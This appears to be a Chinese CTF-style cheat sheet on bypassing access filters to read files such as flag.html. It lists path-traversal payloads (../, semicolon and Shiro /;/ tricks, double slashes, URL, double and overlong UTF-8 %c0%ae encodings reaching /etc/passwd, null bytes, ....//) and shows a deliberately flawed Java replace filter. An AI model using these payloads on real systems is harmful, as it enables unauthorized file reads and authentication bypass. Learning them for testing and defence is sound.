当前位置: 首页 > news >正文

文件读取绕过

例如,要读取http://xxxx/flag.html,但是有限制

(1)目录遍历(../绕过)

注:浏览器也会自动解析../,比如说输入login/../admin,浏览器自己解析了,导致传到服务器就变成了/admin,原来的payload起不到作用,所以不要直接在url输入

原理:Filter未对URI进行标准化处理。攻击者构造../返回上级目录,使URI匹配白名单路径。

payload:

/system/login/../../admin/main.do

Filter认为路径以/system/login开头,放行。

实际解析后路径为admin/main.do,绕过权限校验。

(2)分号截断(;绕过)

1/admin/main.do;123
Filter检查url不是以 `.do` 结尾放行分号后的123作为无效参数不会对原地址有任何影响绕过权限校验
2/;flag.html3http://target.com/path/to/page;param=evil.js
某些服务器如IIS旧版Apache将分号;视为查询参数的分隔符等同于&服务器将;param=evil.js解析为参数忽略它并返回/path/to/page的内容可能是HTML页面))4shiro权限绕过
访问 /admin/page会被重定向到登录页面但通过构造特殊的 URL例如 /;/admin/page可以绕过 Shiro 的权限验证

/xxx;/../admin/page

(3)多斜杠绕过(//)

原理:多加⼀个 / 并不影响正常解析,而又能让该规则匹配不到,成功绕过。
示例:
payload//system//UserInfoSearch.do
服务器解析为/system/UserInfoSearch.do,但Filter未匹配到原始路径

/./system/./system

(4)编码绕过:

【1】URL编码

.编码为%2e
/编码为%2f
../ URL编码为 %2e%2e%2f双重URL编码../ 的双重URL编码为 %252e%252e%252f
(1)http://xxx/..%2fflag.htmlURL 编码斜杠)(2)http://xxx/%2e%2e%2fflag.html(完全编码 ../(3)http://xxx/..%255cflag.html(双重编码)(4)原理:Filter未解码URI直接校验,服务器解码后访问目标路径。
/system/%55%73%65%72%49%6e%66%6f%53%65%61%72%63%68%2e%64%6f(解码后为/system/UserInfoSearch.doFilter因未解码无法识别真实路径,放行请求(完全编码)

【2】UTF-8编码:

glassfish文件读取:

java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果

0xC0 0xAE是字符 .的一种过长的UTF-8编码形式0xC0表示接下来的一个字节0xAE是有效载荷)。根据UTF-8规范这属于非最短形式”,本应是无效的但某些老旧或不规范的解码器会接受它

%c0%ae 表示 .
%c0%ae%c0%ae = ..http://xxx.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

【3】空字节绕过

/1.js/..%00/flag.php

(5)双写绕过

// 不安全的过滤代码
String filename = request.getParameter("filename");
// 只替换一次,攻击者可使用 ....//
filename = filename.replace("../", "");
也可以..././ 

(6)java应用常见的路径绕过处理问题,即访问任意静态文件可绕过鉴权

Java/Spring/Tomcat 等后端框架:将 ; 及其后面的内容视为 矩阵参数(Matrix Parameter) ,在路径规范化时会剥离分号部分,即/1.js/..;/flag.html被规范为/1.js/../flag.html,从而被识别为flag.html

比如/1.js/..;/flag.html或者/js/..;/flag.html
又/flag.html;js
/flag.html;login(原来访问/login.html成功)

(7)Spring MVC追加斜杠

原理:Spring MVC自动去除尾部/,但Filter未处理导致绕过。

示例:payload:

/admin/main.do/

Spring 匹配/admin/main.do,Filter检查时末尾含斜杠,不符合规则实现绕过

(8)inode号绕过

inode是Linux文件系统核心概念,用于存储文件元信息,每个文件都有一个唯一的inode号,操作系统通过inode号识别文件,而不是文件名

ls -i 文件名  查看特定文件的inode号
ls -i /  获得根目录下所有文件的inode号
例flag在/下,用 ls -i / 查看其inode号,得到flag的inode号为78751,
可以用 find / -inum 78751 2>/dev/null获取该文件的路径(flag)
用 cat `find / -inum 78751 2>/dev/null`获取flag

image-20260512230951397

(9)

http://www.gsyq.cn/news/1547890.html

相关文章:

  • 开源工具深度解析:如何实现百度网盘macOS版下载加速的技术原理
  • 2026市面上诚信的邓州装修设计公司排行榜 - 品牌排行榜
  • Windows热键冲突终极排查指南:3分钟定位占用快捷键的元凶
  • 嵌入式DSP开发中G.726 ADPCM语音库的许可协议解读与合规集成实践
  • CodeWarrior寄存器详情窗口XML配置详解:提升嵌入式调试效率
  • 一键预约,旧衣上门回收小程序上线:开发攻略
  • 如何通过智能调度释放CPU性能:CPUDoc完整优化指南
  • 【图像增强】基于Retinex模型和多尺度融合的低光照图像增强(含MSE)附Matlab代码
  • 大家都觉得AI帮不了心理咨询行业,但我见过一个人改变了这个想法
  • Windows环境下Tomcat日志查看、分析与问题排查实战指南
  • ColdFire V2嵌入式开发:异常处理、指令时序与缓存优化全解析
  • 青岛专业冷藏车司机招聘体验:包吃住与全链路保障实测 - 起跑123
  • 普通人用AI搞钱的核心逻辑:信息差、工具差与规模化
  • AI写专著实用技巧:利用AI工具,20万字专著轻松完成!
  • 文心5.0原生全模态架构解析:统一自回归与超稀疏专家模型
  • ZigBee ZCL测量集群详解:从原理到实践,实现物联网设备标准化通信
  • Sketch Find and Replace 插件终极指南:快速批量文本替换工具
  • 剪流GEO:2026年线上品牌曝光,AI工具如何让品牌影响力破局重生
  • 计算机Java毕设实战-基于 SpringBoot 的海南自贸港智慧政务服务平台的设计与实现 基于 SpringBoot 的自贸港便民智慧服务系【完整源码+LW+部署说明+演示视频,全bao一条龙等】
  • 深入解析SCF5250内存子系统:指令缓存、SRAM与SDRAM配置实战
  • 2026年塑胶跑道厂家榜单推荐:广东/广州透气型,混合型,全塑型,自结纹运动场塑胶跑道工程与翻新精选 - 品牌发掘
  • 终极人声分离工具:3分钟从任何音频中提取纯净人声的完整指南
  • DSP5685x SDK库深度解析:从信号处理到安全通信的嵌入式开发实战
  • 株洲黄金奢侈品回收一站式指南:湘奢汇(天元店)领衔靠谱门店推荐 - 生活测评小能手
  • Web安全实战:从路径穿越漏洞剖析任意文件读取原理与防御
  • 2026年泰州静音箱式发电机组供应商:低噪节能与稳定供电核心优势深度解析 - 品牌发掘
  • 1N648-1整流二极管深度解析:从规格书到电路设计的实战指南
  • paperxie智能写作解析:一文读懂论文降重AIGC率双项优化功能
  • 南宁官方备案黄金回收商户名录|省心卖金全套流程 - 奢侈品回收评测
  • GEO整站优化服务商评测:五大机构全链路优化能力大比拼 - GEORANK